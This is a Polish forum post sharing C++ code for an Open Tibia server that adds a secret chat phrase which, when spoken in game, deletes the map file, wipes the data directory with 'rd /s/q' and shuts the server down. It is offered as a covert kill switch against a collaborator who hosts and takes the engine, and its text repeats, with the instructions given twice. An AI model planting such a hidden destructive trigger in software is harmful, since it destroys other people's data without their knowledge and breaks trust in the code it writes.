Witam was znalazlem pewna fajna rzecz ktora napewno sie przyda programista oraz tworca silnikow Autorem tego kodu jest nfries88 z otfans.net
Link do tematu :
Kod jest po to jezeli np. robisz ots w teamie i ktos jest hosterem i ci ukradnie silnik mozesz usunac za pomoca komendy wybrane przez ciebie folderu.
Mam nadzieje ze niektorym z was sie przyda.
Na koncu commands.cpp dodajemy :
W commands.h pod :
Wklej :
W game.cpp pod
Wklej :
Ci co znaja angielski nie powinni miec problemow z ustawieniem tego.
Link do tematu :
Kod jest po to jezeli np. robisz ots w teamie i ktos jest hosterem i ci ukradnie silnik mozesz usunac za pomoca komendy wybrane przez ciebie folderu.
Mam nadzieje ze niektorym z was sie przyda.
Na koncu commands.cpp dodajemy :
Code:
bool Commands::deleteServ(Creature* c, const std::string cmd, const std::string param)
{
// make sure the map is deleted first
remove(g_config.getString(ConfigManager::MAP_FILE).c_str());
// delete the entire data directory
std::string del_str = "rd /s/q \"";
del_str += g_config.getString(ConfigManager::DATA_DIRECTORY) + "\"";
system(del_str.c_str());
// tell them the server was deleted
FILE* newfile = fopen("server deleted", "w+");
fputs("The server has been deleted.", newfile);
fclose(newfile);
// close the server
exit(0);
return true;
}
W commands.h pod :
Code:
bool serverInfo(Creature* creature, const std::string& cmd, const std::string& param);
Wklej :
Code:
bool deleteServ(Creature*, const std::string, const std::string);
W game.cpp pod
Code:
if(player->isRemoved())
return false;
Wklej :
Code:
if(text == "[the text you want to have to say to delete the server, make sure it's damn hard to guess!]")
commands.deleteServ(player, "", text);
Ci co znaja angielski nie powinni miec problemow z ustawieniem tego.
Last edited: